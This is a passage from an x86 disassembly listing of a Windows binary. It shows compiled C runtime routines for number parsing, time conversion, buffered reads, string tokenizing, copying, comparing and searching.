		jz	short loc_416770
		mov	bl, [esi]
		inc	esi
		jmp	short loc_416740
; ---------------------------------------------------------------------------


loc_416770:				; CODE XREF: sub_416728+41j
		cmp	bl, 2Dh
		mov	[ebp+var_4], esi
		jnz	short loc_41677E
		or	[ebp+arg_C], 2
		jmp	short loc_416783
; ---------------------------------------------------------------------------


loc_41677E:				; CODE XREF: sub_416728+4Ej
		cmp	bl, 2Bh
		jnz	short loc_416789


loc_416783:				; CODE XREF: sub_416728+54j
		mov	bl, [esi]
		inc	esi
		mov	[ebp+var_4], esi


loc_416789:				; CODE XREF: sub_416728+59j
		mov	eax, [ebp+arg_8]
		test	eax, eax
		jl	loc_416920
		cmp	eax, 1
		jz	loc_416920
		cmp	eax, 24h
		jg	loc_416920
		push	10h
		test	eax, eax
		pop	ecx
		jnz	short loc_4167D1
		cmp	bl, 30h
		jz	short loc_4167BB
		mov	[ebp+arg_8], 0Ah
		jmp	short loc_4167ED
; ---------------------------------------------------------------------------


loc_4167BB:				; CODE XREF: sub_416728+88j
		mov	al, [esi]
		cmp	al, 78h
		jz	short loc_4167CE
		cmp	al, 58h
		jz	short loc_4167CE
		mov	[ebp+arg_8], 8
		jmp	short loc_4167ED
; ---------------------------------------------------------------------------


loc_4167CE:				; CODE XREF: sub_416728+97j
					; sub_416728+9Bj
		mov	[ebp+arg_8], ecx


loc_4167D1:				; CODE XREF: sub_416728+83j
		cmp	[ebp+arg_8], ecx
		jnz	short loc_4167ED
		cmp	bl, 30h
		jnz	short loc_4167ED
		mov	al, [esi]
		cmp	al, 78h
		jz	short loc_4167E5
		cmp	al, 58h
		jnz	short loc_4167ED


loc_4167E5:				; CODE XREF: sub_416728+B7j
		mov	bl, [esi+1]
		inc	esi
		inc	esi
		mov	[ebp+var_4], esi


loc_4167ED:				; CODE XREF: sub_416728+91j
					; sub_416728+A4j ...
		or	eax, 0FFFFFFFFh
		xor	edx, edx
		div	[ebp+arg_8]
		mov	edi, 103h
		mov	[ebp+var_C], eax


loc_4167FD:				; CODE XREF: sub_416728+16Cj
		cmp	dword_4385FC, 1
		movzx	esi, bl
		jle	short loc_416815
		push	4
		push	esi
		call	sub_418576
		pop	ecx
		pop	ecx
		jmp	short loc_416820
; ---------------------------------------------------------------------------


loc_416815:				; CODE XREF: sub_416728+DFj
		mov	eax, off_4383F0
		mov	al, [eax+esi*2]
		and	eax, 4


loc_416820:				; CODE XREF: sub_416728+EBj
		test	eax, eax
		jz	short loc_41682C
		movsx	ecx, bl
		sub	ecx, 30h
		jmp	short loc_41685E
; ---------------------------------------------------------------------------


loc_41682C:				; CODE XREF: sub_416728+FAj
		cmp	dword_4385FC, 1
		jle	short loc_416840
		push	edi
		push	esi
		call	sub_418576
		pop	ecx
		pop	ecx
		jmp	short loc_41684B
; ---------------------------------------------------------------------------


loc_416840:				; CODE XREF: sub_416728+10Bj
		mov	eax, off_4383F0
		mov	ax, [eax+esi*2]
		and	eax, edi


loc_41684B:				; CODE XREF: sub_416728+116j
		test	eax, eax
		jz	short loc_416899
		movsx	eax, bl
		push	eax
		call	sub_41B539
		pop	ecx
		mov	ecx, eax
		sub	ecx, 37h


loc_41685E:				; CODE XREF: sub_416728+102j
		cmp	ecx, [ebp+arg_8]
		jnb	short loc_416899
		mov	esi, [ebp+var_8]
		or	[ebp+arg_C], 8
		cmp	esi, [ebp+var_C]
		jb	short loc_416883
		jnz	short loc_41687D
		or	eax, 0FFFFFFFFh
		xor	edx, edx
		div	[ebp+arg_8]
		cmp	ecx, edx
		jbe	short loc_416883


loc_41687D:				; CODE XREF: sub_416728+147j
		or	[ebp+arg_C], 4
		jmp	short loc_41688C
; ---------------------------------------------------------------------------


loc_416883:				; CODE XREF: sub_416728+145j
					; sub_416728+153j
		imul	esi, [ebp+arg_8]
		add	esi, ecx
		mov	[ebp+var_8], esi


loc_41688C:				; CODE XREF: sub_416728+159j
		mov	eax, [ebp+var_4]
		inc	[ebp+var_4]
		mov	bl, [eax]
		jmp	loc_4167FD
; ---------------------------------------------------------------------------


loc_416899:				; CODE XREF: sub_416728+125j
					; sub_416728+139j
		mov	ecx, [ebp+arg_C]
		dec	[ebp+var_4]
		mov	edx, [ebp+arg_4]
		test	cl, 8
		jnz	short loc_4168B7
		test	edx, edx
		jz	short loc_4168B1
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], eax


loc_4168B1:				; CODE XREF: sub_416728+181j
		and	[ebp+var_8], 0
		jmp	short loc_416904
; ---------------------------------------------------------------------------


loc_4168B7:				; CODE XREF: sub_416728+17Dj
		test	cl, 4
		mov	eax, 7FFFFFFFh
		jnz	short loc_4168DD
		test	cl, 1
		jnz	short loc_416904
		and	ecx, 2
		jz	short loc_4168D4
		cmp	[ebp+var_8], 80000000h
		ja	short loc_4168DD


loc_4168D4:				; CODE XREF: sub_416728+1A1j
		test	ecx, ecx
		jnz	short loc_416904
		cmp	[ebp+var_8], eax
		jbe	short loc_416904


loc_4168DD:				; CODE XREF: sub_416728+197j
					; sub_416728+1AAj
		test	byte ptr [ebp+arg_C], 1
		mov	dword_46BB04, 22h
		jz	short loc_4168F3
		or	[ebp+var_8], 0FFFFFFFFh
		jmp	short loc_416904
; ---------------------------------------------------------------------------


loc_4168F3:				; CODE XREF: sub_416728+1C3j
		mov	ecx, [ebp+arg_C]
		and	cl, 2
		neg	cl
		sbb	ecx, ecx
		neg	ecx
		add	ecx, eax
		mov	[ebp+var_8], ecx


loc_416904:				; CODE XREF: sub_416728+18Dj
					; sub_416728+19Cj ...
		test	edx, edx
		jz	short loc_41690D
		mov	eax, [ebp+var_4]
		mov	[edx], eax


loc_41690D:				; CODE XREF: sub_416728+1DEj
		test	byte ptr [ebp+arg_C], 2
		jz	short loc_41691B
		mov	eax, [ebp+var_8]
		neg	eax
		mov	[ebp+var_8], eax


loc_41691B:				; CODE XREF: sub_416728+1E9j
		mov	eax, [ebp+var_8]
		jmp	short loc_41692B
; ---------------------------------------------------------------------------


loc_416920:				; CODE XREF: sub_416728+66j
					; sub_416728+6Fj ...
		mov	eax, [ebp+arg_4]
		test	eax, eax
		jz	short loc_416929
		mov	[eax], edi


loc_416929:				; CODE XREF: sub_416728+1FDj
		xor	eax, eax


loc_41692B:				; CODE XREF: sub_416728+1F6j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_416728	endp


; =============== S U B	R O U T	I N E =======================================



sub_416930	proc near		; CODE XREF: sub_405398+4A6p
					; sub_40CD3A+359Ep ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	1
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_416728
		add	esp, 10h
		retn
sub_416930	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416947	proc near		; CODE XREF: sub_405398+24Cp
					; sub_405398+450p ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_14], 49h
		push	eax
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		call	sub_415B10
		mov	[ebp+var_1C], eax
		lea	eax, [ebp+arg_8]
		push	eax
		lea	eax, [ebp+var_20]
		push	[ebp+arg_4]
		push	eax
		call	sub_41B605
		add	esp, 10h
		leave
		retn
sub_416947	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41697B	proc near		; CODE XREF: sub_405398+4Ep

var_CC		= byte ptr -0CCh
var_32		= word ptr -32h
var_24		= dword	ptr -24h
var_20		= word ptr -20h
var_1E		= word ptr -1Eh
var_1A		= word ptr -1Ah
var_18		= word ptr -18h
var_16		= word ptr -16h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_A		= word ptr -0Ah
var_8		= word ptr -8
var_6		= word ptr -6
var_4		= word ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0CCh
		lea	eax, [ebp+var_10]
		push	eax
		call	dword_42105C	; GetLocalTime
		lea	eax, [ebp+var_20]
		push	eax
		call	dword_42115C	; GetSystemTime
		mov	ax, [ebp+var_16]
		cmp	ax, word_46BAFA
		jnz	short loc_4169E0
		mov	ax, [ebp+var_18]
		cmp	ax, word_46BAF8
		jnz	short loc_4169E0
		mov	ax, [ebp+var_1A]
		cmp	ax, word_46BAF6
		jnz	short loc_4169E0
		mov	ax, [ebp+var_1E]
		cmp	ax, word_46BAF2
		jnz	short loc_4169E0
		mov	ax, [ebp+var_20]
		cmp	ax, word_46BAF0
		jnz	short loc_4169E0
		mov	eax, dword_46BAE8
		jmp	short loc_416A25
; ---------------------------------------------------------------------------


loc_4169E0:				; CODE XREF: sub_41697B+28j
					; sub_41697B+35j ...
		lea	eax, [ebp+var_CC]
		push	eax
		call	dword_421158	; GetTimeZoneInformation
		cmp	eax, 0FFFFFFFFh
		jz	short loc_416A0D
		cmp	eax, 2
		jnz	short loc_416A09
		cmp	[ebp+var_32], 0
		jz	short loc_416A09
		cmp	[ebp+var_24], 0
		jz	short loc_416A09
		push	1
		pop	eax
		jmp	short loc_416A10
; ---------------------------------------------------------------------------


loc_416A09:				; CODE XREF: sub_41697B+7Aj
					; sub_41697B+81j ...
		xor	eax, eax
		jmp	short loc_416A10
; ---------------------------------------------------------------------------


loc_416A0D:				; CODE XREF: sub_41697B+75j
		or	eax, 0FFFFFFFFh


loc_416A10:				; CODE XREF: sub_41697B+8Cj
					; sub_41697B+90j
		push	esi
		push	edi
		lea	esi, [ebp+var_20]
		mov	edi, offset word_46BAF0
		movsd
		movsd
		movsd
		movsd
		pop	edi
		mov	dword_46BAE8, eax
		pop	esi


loc_416A25:				; CODE XREF: sub_41697B+63j
		push	eax
		movzx	eax, [ebp+var_4]
		push	eax
		movzx	eax, [ebp+var_6]
		push	eax
		movzx	eax, [ebp+var_8]
		push	eax
		movzx	eax, [ebp+var_A]
		push	eax
		movzx	eax, [ebp+var_E]
		push	eax
		movzx	eax, [ebp+var_10]
		push	eax
		call	sub_41C0B6
		mov	ecx, [ebp+arg_0]
		add	esp, 1Ch
		test	ecx, ecx
		jz	short locret_416A55
		mov	[ecx], eax

locret_416A55:				; CODE XREF: sub_41697B+D6j
		leave
		retn
sub_41697B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416A57	proc near		; CODE XREF: sub_4059FC+4Ep
					; sub_406B84+30Ep ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		imul	edi, [ebp+arg_8]
		mov	ebx, [ebp+arg_0]
		mov	ecx, edi
		test	edi, edi
		mov	[ebp+var_4], edi
		mov	[ebp+arg_0], ecx
		jnz	short loc_416A7B
		xor	eax, eax
		jmp	loc_416B24
; ---------------------------------------------------------------------------


loc_416A7B:				; CODE XREF: sub_416A57+1Bj
		mov	esi, [ebp+arg_C]
		test	word ptr [esi+0Ch], 10Ch
		jz	short loc_416A8E
		mov	eax, [esi+18h]
		mov	[ebp+arg_C], eax
		jmp	short loc_416A9A
; ---------------------------------------------------------------------------


loc_416A8E:				; CODE XREF: sub_416A57+2Dj
		mov	[ebp+arg_C], 1000h
		jmp	short loc_416A9A
; ---------------------------------------------------------------------------


loc_416A97:				; CODE XREF: sub_416A57+C4j
		mov	ecx, [ebp+arg_0]


loc_416A9A:				; CODE XREF: sub_416A57+35j
					; sub_416A57+3Ej
		test	word ptr [esi+0Ch], 10Ch
		jz	short loc_416ACC
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_416ACC
		cmp	ecx, eax
		mov	edi, ecx
		jb	short loc_416AB1
		mov	edi, eax


loc_416AB1:				; CODE XREF: sub_416A57+56j
		push	edi
		push	dword ptr [esi]
		push	ebx
		call	sub_4153F0
		sub	[ebp+arg_0], edi
		sub	[esi+4], edi
		add	[esi], edi
		add	esp, 0Ch
		add	ebx, edi
		mov	edi, [ebp+var_4]
		jmp	short loc_416B17
; ---------------------------------------------------------------------------


loc_416ACC:				; CODE XREF: sub_416A57+49j
					; sub_416A57+50j
		cmp	ecx, [ebp+arg_C]
		jb	short loc_416AFF
		cmp	[ebp+arg_C], 0
		mov	eax, ecx
		jz	short loc_416AE2
		xor	edx, edx
		div	[ebp+arg_C]
		mov	eax, ecx
		sub	eax, edx


loc_416AE2:				; CODE XREF: sub_416A57+80j
		push	eax
		push	ebx
		push	dword ptr [esi+10h]
		call	sub_41C251
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_416B29
		cmp	eax, 0FFFFFFFFh
		jz	short loc_416B2F
		sub	[ebp+arg_0], eax
		add	ebx, eax
		jmp	short loc_416B17
; ---------------------------------------------------------------------------


loc_416AFF:				; CODE XREF: sub_416A57+78j
		push	esi
		call	sub_41C178
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_416B33
		mov	[ebx], al
		mov	eax, [esi+18h]
		inc	ebx
		dec	[ebp+arg_0]
		mov	[ebp+arg_C], eax


loc_416B17:				; CODE XREF: sub_416A57+73j
					; sub_416A57+A6j
		cmp	[ebp+arg_0], 0
		jnz	loc_416A97
		mov	eax, [ebp+arg_8]


loc_416B24:				; CODE XREF: sub_416A57+1Fj
					; sub_416A57+E6j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_416B29:				; CODE XREF: sub_416A57+9Aj
		or	dword ptr [esi+0Ch], 10h
		jmp	short loc_416B33
; ---------------------------------------------------------------------------


loc_416B2F:				; CODE XREF: sub_416A57+9Fj
		or	dword ptr [esi+0Ch], 20h


loc_416B33:				; CODE XREF: sub_416A57+B2j
					; sub_416A57+D6j
		mov	eax, edi
		xor	edx, edx
		sub	eax, [ebp+arg_0]
		div	[ebp+arg_4]
		jmp	short loc_416B24
sub_416A57	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416B3F	proc near		; CODE XREF: sub_405A96+2A1p
					; sub_406048+100p ...

var_20		= byte ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		push	edi
		push	8
		xor	eax, eax
		pop	ecx
		lea	edi, [ebp+var_20]
		rep stosd
		push	7
		pop	edi


loc_416B58:				; CODE XREF: sub_416B3F+32j
		mov	dl, [esi]
		mov	bl, 1
		movzx	ecx, dl
		mov	eax, ecx
		and	ecx, edi
		shr	eax, 3
		shl	bl, cl
		lea	eax, [ebp+eax+var_20]
		or	[eax], bl
		inc	esi
		test	dl, dl
		jnz	short loc_416B58
		mov	edx, [ebp+arg_0]
		test	edx, edx
		jnz	short loc_416B80
		mov	edx, dword_46BB00


loc_416B80:				; CODE XREF: sub_416B3F+39j
					; sub_416B3F+5Fj
		mov	al, [edx]
		push	1
		movzx	esi, al
		mov	ecx, esi
		pop	ebx
		and	ecx, edi
		shl	ebx, cl
		shr	esi, 3
		mov	cl, [ebp+esi+var_20]
		test	bl, cl
		jz	short loc_416BA0
		test	al, al
		jz	short loc_416BA0
		inc	edx
		jmp	short loc_416B80
; ---------------------------------------------------------------------------


loc_416BA0:				; CODE XREF: sub_416B3F+58j
					; sub_416B3F+5Cj
		mov	ebx, edx


loc_416BA2:				; CODE XREF: sub_416B3F+81j
		mov	al, [edx]
		test	al, al
		jz	short loc_416BC6
		movzx	esi, al
		mov	ecx, esi
		push	1
		and	ecx, edi
		pop	eax
		shl	eax, cl
		shr	esi, 3
		mov	cl, [ebp+esi+var_20]
		test	al, cl
		jnz	short loc_416BC2
		inc	edx
		jmp	short loc_416BA2
; ---------------------------------------------------------------------------


loc_416BC2:				; CODE XREF: sub_416B3F+7Ej
		and	byte ptr [edx],	0
		inc	edx


loc_416BC6:				; CODE XREF: sub_416B3F+67j
		mov	eax, ebx
		pop	edi
		sub	eax, edx
		pop	esi
		neg	eax
		sbb	eax, eax
		mov	dword_46BB00, edx
		and	eax, ebx
		pop	ebx
		leave
		retn
sub_416B3F	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_416BE0	proc near		; CODE XREF: sub_4062F7+1B3p
					; sub_4071B6+6Ep ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	ecx, [esp+arg_8]
		push	edi
		test	ecx, ecx
		jz	short loc_416C63
		push	esi
		push	ebx
		mov	ebx, ecx
		mov	esi, [esp+0Ch+arg_4]
		test	esi, 3
		mov	edi, [esp+0Ch+arg_0]
		jnz	short loc_416C04
		shr	ecx, 2
		jnz	short loc_416C71
		jmp	short loc_416C25
; ---------------------------------------------------------------------------


loc_416C04:				; CODE XREF: sub_416BE0+1Bj
					; sub_416BE0+37j
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi
		dec	ecx
		jz	short loc_416C32
		test	al, al
		jz	short loc_416C3A
		test	esi, 3
		jnz	short loc_416C04
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_416C71


loc_416C20:				; CODE XREF: sub_416BE0+8Fj
		and	ebx, 3
		jz	short loc_416C32


loc_416C25:				; CODE XREF: sub_416BE0+22j
					; sub_416BE0+50j
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi
		test	al, al
		jz	short loc_416C5E
		dec	ebx
		jnz	short loc_416C25


loc_416C32:				; CODE XREF: sub_416BE0+2Bj
					; sub_416BE0+43j
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_416C3A:				; CODE XREF: sub_416BE0+2Fj
		test	edi, 3
		jz	short loc_416C54


loc_416C42:				; CODE XREF: sub_416BE0+72j
		mov	[edi], al
		inc	edi
		dec	ecx
		jz	loc_416CD6
		test	edi, 3
		jnz	short loc_416C42


loc_416C54:				; CODE XREF: sub_416BE0+60j
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_416CC7


loc_416C5B:				; CODE XREF: sub_416BE0+7Fj
					; sub_416BE0+F4j
		mov	[edi], al
		inc	edi


loc_416C5E:				; CODE XREF: sub_416BE0+4Dj
		dec	ebx
		jnz	short loc_416C5B
		pop	ebx
		pop	esi


loc_416C63:				; CODE XREF: sub_416BE0+7j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_416C69:				; CODE XREF: sub_416BE0+A9j
					; sub_416BE0+C1j
		mov	[edi], edx
		add	edi, 4
		dec	ecx
		jz	short loc_416C20


loc_416C71:				; CODE XREF: sub_416BE0+20j
					; sub_416BE0+3Ej
		mov	edx, 7EFEFEFFh
		mov	eax, [esi]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [esi]
		add	esi, 4
		test	eax, 81010100h
		jz	short loc_416C69
		test	dl, dl
		jz	short loc_416CBB
		test	dh, dh
		jz	short loc_416CB1
		test	edx, 0FF0000h
		jz	short loc_416CA7
		test	edx, 0FF000000h
		jnz	short loc_416C69
		mov	[edi], edx
		jmp	short loc_416CBF
; ---------------------------------------------------------------------------


loc_416CA7:				; CODE XREF: sub_416BE0+B9j
		and	edx, 0FFFFh
		mov	[edi], edx
		jmp	short loc_416CBF
; ---------------------------------------------------------------------------


loc_416CB1:				; CODE XREF: sub_416BE0+B1j
		and	edx, 0FFh
		mov	[edi], edx
		jmp	short loc_416CBF
; ---------------------------------------------------------------------------


loc_416CBB:				; CODE XREF: sub_416BE0+ADj
		xor	edx, edx
		mov	[edi], edx


loc_416CBF:				; CODE XREF: sub_416BE0+C5j
					; sub_416BE0+CFj ...
		add	edi, 4
		xor	eax, eax
		dec	ecx
		jz	short loc_416CD1


loc_416CC7:				; CODE XREF: sub_416BE0+79j
		xor	eax, eax


loc_416CC9:				; CODE XREF: sub_416BE0+EFj
		mov	[edi], eax
		add	edi, 4
		dec	ecx
		jnz	short loc_416CC9


loc_416CD1:				; CODE XREF: sub_416BE0+E5j
		and	ebx, 3
		jnz	short loc_416C5B


loc_416CD6:				; CODE XREF: sub_416BE0+66j
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
sub_416BE0	endp


; =============== S U B	R O U T	I N E =======================================



sub_416CDE	proc near		; CODE XREF: sub_406B84+2E2p
					; sub_406B84+42Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		mov	eax, [esi+0Ch]
		test	al, 83h
		jz	short loc_416D5A
		mov	edi, [esp+8+arg_8]
		test	edi, edi
		jz	short loc_416CFD
		cmp	edi, 1
		jz	short loc_416CFD
		cmp	edi, 2
		jnz	short loc_416D5A


loc_416CFD:				; CODE XREF: sub_416CDE+13j
					; sub_416CDE+18j
		and	al, 0EFh
		cmp	edi, 1
		mov	[esi+0Ch], eax
		jnz	short loc_416D14
		push	esi
		call	sub_41C4E1
		add	[esp+0Ch+arg_4], eax
		pop	ecx
		xor	edi, edi


loc_416D14:				; CODE XREF: sub_416CDE+27j
		push	esi
		call	sub_418704
		mov	eax, [esi+0Ch]
		pop	ecx
		test	al, 80h
		jz	short loc_416D29
		and	al, 0FCh
		mov	[esi+0Ch], eax
		jmp	short loc_416D3D
; ---------------------------------------------------------------------------


loc_416D29:				; CODE XREF: sub_416CDE+42j
		test	al, 1
		jz	short loc_416D3D
		test	al, 8
		jz	short loc_416D3D
		test	ah, 4
		jnz	short loc_416D3D
		mov	dword ptr [esi+18h], 200h


loc_416D3D:				; CODE XREF: sub_416CDE+49j
					; sub_416CDE+4Dj ...
		push	edi
		push	[esp+0Ch+arg_4]
		push	dword ptr [esi+10h]
		call	sub_41C447
		add	esp, 0Ch
		xor	ecx, ecx
		cmp	eax, 0FFFFFFFFh
		setnz	cl
		dec	ecx
		mov	eax, ecx
		jmp	short loc_416D67
; ---------------------------------------------------------------------------


loc_416D5A:				; CODE XREF: sub_416CDE+Bj
					; sub_416CDE+1Dj
		mov	dword_46BB04, 16h
		or	eax, 0FFFFFFFFh


loc_416D67:				; CODE XREF: sub_416CDE+7Aj
		pop	edi
		pop	esi
		retn
sub_416CDE	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416D70	proc near		; CODE XREF: sub_406B84+2ACp
					; sub_406B84+2CDp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	ecx, [ebp+arg_8]
		jecxz	short loc_416DA1
		mov	ebx, ecx
		mov	edi, [ebp+arg_0]
		mov	esi, edi
		xor	eax, eax
		repne scasb
		neg	ecx
		add	ecx, ebx
		mov	edi, esi
		mov	esi, [ebp+arg_4]
		repe cmpsb
		mov	al, [esi-1]
		xor	ecx, ecx
		cmp	al, [edi-1]
		ja	short loc_416D9F
		jz	short loc_416DA1
		dec	ecx
		dec	ecx


loc_416D9F:				; CODE XREF: sub_416D70+29j
		not	ecx


loc_416DA1:				; CODE XREF: sub_416D70+9j
					; sub_416D70+2Bj
		mov	eax, ecx
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn
sub_416D70	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_416DB0	proc near		; CODE XREF: sub_407075+5Cp
					; sub_407075+9Bp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	ecx, [esp+arg_8]
		push	edi
		test	ecx, ecx
		jz	loc_416E64
		mov	edi, [esp+4+arg_0]
		push	esi
		test	edi, 3
		push	ebx
		jz	short loc_416DDA


loc_416DCB:				; CODE XREF: sub_416DB0+28j
		mov	al, [edi]
		inc	edi
		test	al, al
		jz	short loc_416E0B
		test	edi, 3
		jnz	short loc_416DCB


loc_416DDA:				; CODE XREF: sub_416DB0+19j
					; sub_416DB0+40j ...
		mov	eax, [edi]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	edi, 4
		test	eax, 81010100h
		jz	short loc_416DDA
		mov	eax, [edi-4]
		test	al, al
		jz	short loc_416E18
		test	ah, ah
		jz	short loc_416E13
		test	eax, 0FF0000h
		jz	short loc_416E0E
		test	eax, 0FF000000h
		jnz	short loc_416DDA


loc_416E0B:				; CODE XREF: sub_416DB0+20j
		dec	edi
		jmp	short loc_416E1B
; ---------------------------------------------------------------------------


loc_416E0E:				; CODE XREF: sub_416DB0+52j
		sub	edi, 2
		jmp	short loc_416E1B
; ---------------------------------------------------------------------------


loc_416E13:				; CODE XREF: sub_416DB0+4Bj
		sub	edi, 3
		jmp	short loc_416E1B
; ---------------------------------------------------------------------------


loc_416E18:				; CODE XREF: sub_416DB0+47j
		sub	edi, 4


loc_416E1B:				; CODE XREF: sub_416DB0+5Cj
					; sub_416DB0+61j ...
		mov	esi, [esp+0Ch+arg_4]
		test	esi, 3
		jnz	short loc_416E30
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_416E7C
		jmp	short loc_416E4C
; ---------------------------------------------------------------------------


loc_416E30:				; CODE XREF: sub_416DB0+75j
					; sub_416DB0+93j
		mov	dl, [esi]
		inc	esi
		test	dl, dl
		jz	short loc_416E6A
		mov	[edi], dl
		inc	edi
		dec	ecx
		jz	short loc_416E60
		test	esi, 3
		jnz	short loc_416E30
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_416E7C


loc_416E4C:				; CODE XREF: sub_416DB0+7Ej
					; sub_416DB0+CAj
		mov	ecx, ebx
		and	ecx, 3
		jz	short loc_416E60


loc_416E53:				; CODE XREF: sub_416DB0+AEj
		mov	dl, [esi]
		inc	esi
		mov	[edi], dl
		inc	edi
		test	dl, dl
		jz	short loc_416E62
		dec	ecx
		jnz	short loc_416E53


loc_416E60:				; CODE XREF: sub_416DB0+8Bj
					; sub_416DB0+A1j
		mov	[edi], cl


loc_416E62:				; CODE XREF: sub_416DB0+ABj
		pop	ebx
		pop	esi


loc_416E64:				; CODE XREF: sub_416DB0+7j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_416E6A:				; CODE XREF: sub_416DB0+85j
					; sub_416DB0+E8j
		mov	[edi], dl
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_416E74:				; CODE XREF: sub_416DB0+E4j
					; sub_416DB0+FCj
		mov	[edi], edx
		add	edi, 4
		dec	ecx
		jz	short loc_416E4C


loc_416E7C:				; CODE XREF: sub_416DB0+7Cj
					; sub_416DB0+9Aj
		mov	edx, 7EFEFEFFh
		mov	eax, [esi]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [esi]
		add	esi, 4
		test	eax, 81010100h
		jz	short loc_416E74
		test	dl, dl
		jz	short loc_416E6A
		test	dh, dh
		jz	short loc_416EC8
		test	edx, 0FF0000h
		jz	short loc_416EB8
		test	edx, 0FF000000h
		jnz	short loc_416E74
		mov	[edi], edx
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_416EB8:				; CODE XREF: sub_416DB0+F4j
		mov	[edi], dx
		xor	edx, edx
		mov	eax, [esp+0Ch+arg_0]
		mov	[edi+2], dl
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_416EC8:				; CODE XREF: sub_416DB0+ECj
		mov	[edi], dx
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
sub_416DB0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416EE0	proc near		; CODE XREF: sub_4071B6+2A2p
					; sub_40CD3A+3012p ...

arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	edi
		mov	edi, [ebp+arg_0]
		xor	eax, eax
		or	ecx, 0FFFFFFFFh
		repne scasb
		inc	ecx
		neg	ecx
		dec	edi
		mov	al, [ebp+arg_4]
		std
		repne scasb
		inc	edi
		cmp	[edi], al
		jz	short loc_416F01
		xor	eax, eax
		jmp	short loc_416F03
; ---------------------------------------------------------------------------


loc_416F01:				; CODE XREF: sub_416EE0+1Bj
		mov	eax, edi


loc_416F03:				; CODE XREF: sub_416EE0+1Fj
		cld
		pop	edi
		leave
		retn
sub_416EE0	endp

; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_416F20


loc_416F10:				; CODE XREF: sub_416F20+1Dj
		lea	eax, [edx-1]
		pop	ebx
		retn
; END OF FUNCTION CHUNK	FOR sub_416F20
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_416F20	proc near		; CODE XREF: sub_408503+D9p
					; sub_40CD3A+3F3p ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

; FUNCTION CHUNK AT 00416F10 SIZE 00000005 BYTES

		xor	eax, eax
		mov	al, [esp+arg_4]


loc_416F26:				; CODE XREF: sub_4158E0+6Ej
		push	ebx
